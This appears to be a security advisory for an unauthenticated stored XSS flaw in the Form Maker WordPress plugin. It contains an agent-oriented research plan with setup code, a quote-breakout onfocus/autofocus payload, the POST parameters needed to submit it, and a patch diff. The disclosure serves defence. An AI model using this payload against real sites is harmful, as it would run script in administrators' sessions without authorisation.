CVE-2026-4388

Form Maker by 10Web <= 1.15.40 - Unauthenticated Stored Cross-Site Scripting via Matrix Field Text Box

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.15.41
Patched in
1d
Time to patch

Description

The Form Maker by 10Web plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Matrix field (Text Box input type) in form submissions in all versions up to, and including, 1.15.40. This is due to insufficient input sanitization (`sanitize_text_field` strips tags but not quotes) and missing output escaping when rendering submission data in the admin Submissions view. This makes it possible for unauthenticated attackers to inject arbitrary JavaScript through a form submission that executes in the browser of an administrator who views the submission details.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.15.40
PublishedApril 13, 2026
Last updatedApril 14, 2026
Affected pluginform-maker

What Changed in the Fix

Changes introduced in v1.15.41

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the **Form Maker by 10Web** plugin (version <= 1.15.40). ### 1. Vulnerability Summary * **Vulnerability:** Unauthenticated Stored XSS. * **Component:** Matrix Field (Text Box inp…

Show full research plan

This research plan outlines the steps required to demonstrate the Stored Cross-Site Scripting (XSS) vulnerability in the Form Maker by 10Web plugin (version <= 1.15.40).

1. Vulnerability Summary

  • Vulnerability: Unauthenticated Stored XSS.
  • Component: Matrix Field (Text Box input type) during form submission.
  • Vulnerable Sink: The admin Submissions view renders saved form data without proper output escaping.
  • Sanitization Failure: The plugin uses sanitize_text_field() on the Matrix field input. While this strips HTML tags (like <script>), it does not strip double or single quotes. If the submission data is subsequently rendered inside an HTML attribute in the admin panel (e.g., <input value="...">), an attacker can use quotes to break out of the attribute and inject event handlers like onfocus or onmouseover.

2. Attack Vector Analysis

  • Endpoint: The frontend page where a form is embedded or the WordPress AJAX endpoint (admin-ajax.php).
  • Action: Form submission.
  • Authentication: None (Unauthenticated).
  • Parameter: The POST parameter corresponding to the Matrix field cell. In Form Maker, these are typically named following the pattern wdform_{FIELD_ID}_{FORM_ID}[].
  • Payload: 1" onfocus="alert(document.domain)" autofocus="
    • sanitize_text_field will leave this payload intact because it contains no HTML tags.
    • When rendered in the admin view: <input ... value="1" onfocus="alert(document.domain)" autofocus="" ...>

3. Code Flow

  1. Entry Point: An unauthenticated user submits a form. The frontend/controllers/form_maker.php handles the request in the display() or specific AJAX method.
  2. Data Processing: The controller calls FMModelForm_maker::savedata(). (Inferred from frontend/controllers/form_maker.php line 77).
  3. Sanitization: Inside savedata(), the plugin iterates through submitted fields. For Matrix fields, it applies sanitize_text_field() to the cell values.
  4. Storage: The sanitized values are stored in the {prefix}formmaker_submits table.
  5. Admin View: An administrator navigates to the "Submissions" page (wp-admin/admin.php?page=submissions_fm).
  6. Data Retrieval: admin/models/Submissions_fm.php retrieves the submission data via get_labels_parameters() or similar.
  7. XSS Trigger: The admin view (likely a PHP file in admin/views/) renders the Matrix data into the DOM. Because it lacks esc_attr() or esc_html(), the payload breaks out of its attribute and executes JavaScript in the admin's session.

4. Nonce Acquisition Strategy

The Form Maker plugin uses a nonce to protect form submissions.

  • Nonce Name: The field name is defined as fm_form_nonce in the WDFM class (form-maker.php, line 52).
  • Nonce Action: The action is typically fm_form_nonce concatenated with the form ID.
  • Acquisition:
    1. Create a form and a page containing that form's shortcode.
    2. Navigate to the page using browser_navigate.
    3. Extract the nonce value from the hidden input field: input[name="fm_form_nonce"].

5. Test Data Setup

To exploit this, we must first have a form with a Matrix field configured as a "Text Box".

Step 1: Create a Form with a Matrix Field
Use wp eval to programmatically create a form.

global $wpdb;
$table = $wpdb->prefix . 'formmaker';
$fields_json = json_encode([
    [
        'type' => 'type_matrix',
        'id' => '1',
        'label' => 'Vulnerable Matrix',
        'rows' => ['Row1'],
        'columns' => ['Col1'],
        'matrix_type' => 'text', // Critical: Must be 'text'
        'required' => '0'
    ]
]);

$wpdb->insert($table, [
    'title' => 'XSS Test Form',
    'form_fields' => $fields_json,
    'published' => 1,
    'form_options' => '{}'
]);
$form_id = $wpdb->insert_id;
echo "Created Form ID: $form_id";

Step 2: Create a Page to Host the Form

wp post create --post_type=page --post_title="Contact Form" --post_status=publish --post_content='[form_maker id="REPLACE_WITH_FORM_ID"]'

6. Exploitation Strategy

  1. Navigate to the Form Page: Use browser_navigate to the created page URL.
  2. Extract Nonce:
    // Use browser_eval
    const nonce = document.querySelector('input[name="fm_form_nonce"]').value;
    const formId = document.querySelector('input[name="form_id"]').value;
    
  3. Submit the Malicious Entry:
    Send a POST request to the same page URL using http_request.
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Payload Parameters:
      • form_id: {FORM_ID}
      • fm_form_nonce: {NONCE}
      • wdform_1_{FORM_ID}[0][0]: 1" onfocus="alert(document.domain)" autofocus="
      • wdform_id_list: 1 (The ID of the matrix field)
      • save_or_submit{FORM_ID}: submit

7. Expected Results

  • The form submission will be successful.
  • The payload 1" onfocus="alert(document.domain)" autofocus=" will be stored in the element_value column of the {prefix}formmaker_submits table.
  • When an admin logs in and views the submissions for this form, the browser will execute alert(document.domain) automatically because of the autofocus attribute triggering the onfocus event.

8. Verification Steps

  1. Database Check:
    wp db query "SELECT element_value FROM wp_formmaker_submits WHERE form_id=1 ORDER BY id DESC LIMIT 1"
    
    Confirm it contains the onfocus payload.
  2. Admin View Verification:
    Log in as admin and navigate to: /wp-admin/admin.php?page=submissions_fm&form_id=1.
    The agent can use browser_navigate as an admin and check for the presence of the alert or the injected attribute in the page source.

9. Alternative Approaches

If the wdform_1_{FORM_ID}[0][0] parameter name is incorrect (Form Maker field naming can vary by version):

  1. Use browser_eval to inspect the name attribute of the Matrix field input in the frontend before submitting.
  2. Look for a global JS object like fm_objectL10n which might contain form metadata.
  3. Try submitting to admin-ajax.php with action=formmaker_submit.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Form Maker by 10Web plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting (XSS) via the Matrix field (Text Box input type). The vulnerability exists because the plugin uses sanitize_text_field() on user-supplied matrix data, which fails to strip double quotes, and subsequently renders this data in the admin submissions dashboard without proper output escaping. An unauthenticated attacker can submit a malicious payload that executes arbitrary JavaScript in the context of an administrator's session when they view the submission.

Vulnerable Code

// frontend/controllers/form_maker.php - Line 77 (approx)
// Data is passed to the model for saving without adequate sanitization for attribute contexts
$this->model->savedata($result[0], $id);

---

// admin/models/Submissions_fm.php - Retrieval logic for submissions
// Data is fetched from the database and later rendered in the view without escaping
public function get_labels_parameters( $form_id = 0, $page_num = 0, $per_num = 0 ) {
    global $wpdb;
    // ...
    $query = $wpdb->prepare("SELECT `group_id`,`element_value` FROM " . $wpdb->prefix . "formmaker_submits  WHERE `form_id`='%d' and `element_label` = 'verifyinfo' ", $form_id);
    $ver_emails_data = $wpdb->get_results($query);
    // ...
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/form-maker/1.15.40/admin/models/Submissions_fm.php /home/deploy/wp-safety.org/data/plugin-versions/form-maker/1.15.41/admin/models/Submissions_fm.php
--- /home/deploy/wp-safety.org/data/plugin-versions/form-maker/1.15.40/admin/models/Submissions_fm.php	2026-03-27 13:03:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/form-maker/1.15.41/admin/models/Submissions_fm.php	2026-04-08 13:09:06.000000000 +0000
@@ -42,7 +42,10 @@
 	*/
 	public function get_form( $id = 0 ) {
 		global $wpdb;
-		$query = 'SELECT `id`, `title` FROM ' . $wpdb->prefix .'formmaker WHERE id = ' . $id ;
+		$query = $wpdb->prepare(
+			'SELECT `id`, `title` FROM ' . $wpdb->prefix . 'formmaker WHERE id = %d',
+			(int) $id
+		);
 		$form = $wpdb->get_row( $query );
 		return $form;
 	}
@@ -150,25 +153,31 @@
     $lists['username_search'] = WDW_FM_Library(self::PLUGIN)->get('username_search');
     $lists['useremail_search'] = WDW_FM_Library(self::PLUGIN)->get('useremail_search');
     $lists['id_search'] = WDW_FM_Library(self::PLUGIN)->get('id_search');
-    if ( $lists['ip_search'] ) {
-      $where[] = 'ip LIKE "%' . $lists['ip_search'] . '%"';
+    if ( !empty($lists['ip_search']) ) {
+      $where[] = $wpdb->prepare( 'ip LIKE %s', '%' . $wpdb->esc_like( $lists['ip_search'] ) . '%' );
     }
-    if ( $lists['startdate'] != '' ) {
-      $where[] = " `date`>='" . $lists['startdate'] . " 00:00:00' ";
+    if ( !empty($lists['startdate']) ) {
+      $where[] = $wpdb->prepare( '`date`>=%s', $lists['startdate'] . ' 00:00:00' );
     }
-    if ( $lists['enddate'] != '' ) {
-      $where[] = " `date`<='" . $lists['enddate'] . " 23:59:59' ";
+    if ( !empty($lists['enddate']) ) {
+      $where[] = $wpdb->prepare( '`date`<=%s', $lists['enddate'] . ' 23:59:59' );
     }
-    if ( $lists['username_search'] ) {
-      $where[] = 'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE display_name LIKE "%' . $lists['username_search'] . '%")';
+    if ( !empty($lists['username_search']) ) {
+      $where[] = $wpdb->prepare(
+        'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE display_name LIKE %s)',
+        '%' . $wpdb->esc_like( $lists['username_search'] ) . '%'
+      );
+    }
+    if ( !empty($lists['useremail_search']) ) {
+      $where[] = $wpdb->prepare(
+        'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE user_email LIKE %s)',
+        '%' . $wpdb->esc_like( $lists['useremail_search'] ) . '%'
+      );
     }
-    if ( $lists['useremail_search'] ) {
-      $where[] = 'user_id_wd IN (SELECT ID FROM ' . $wpdb->prefix . 'users WHERE user_email LIKE "%' . $lists['useremail_search'] . '%")';
+    if ( !empty($lists['id_search']) ) {
+      $where[] = $wpdb->prepare( 'group_id=%d', (int) $lists['id_search'] );
     }
-    if ( $lists['id_search'] ) {
-      $where[] = 'group_id =' . (int) $lists['id_search'];
-    }
-    $where[] = 'form_id=' . $form_id . '';
+    $where[] = $wpdb->prepare( 'form_id=%d', (int) $form_id );

Exploit Outline

The exploit is performed by submitting a malicious form entry as an unauthenticated user. First, the attacker identifies a form containing a 'Matrix' field with the input type set to 'Text Box'. The attacker navigates to the frontend page where the form is embedded and extracts the submission nonce (`fm_form_nonce`) and the `form_id`. They then send an unauthenticated POST request to the form submission endpoint, including a payload like `1" onfocus="alert(document.domain)" autofocus="` in the parameter corresponding to one of the matrix cells (e.g., `wdform_{FIELD_ID}_{FORM_ID}[0][0]`). Because `sanitize_text_field` does not strip double quotes, the payload is stored intact. When an administrator later logs in and navigates to the 'Submissions' dashboard for that form, the payload is rendered inside an HTML attribute (typically `value="..."`). The injected `"` breaks out of the attribute, and the `autofocus` attribute triggers the `onfocus` event, executing the attacker's JavaScript.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.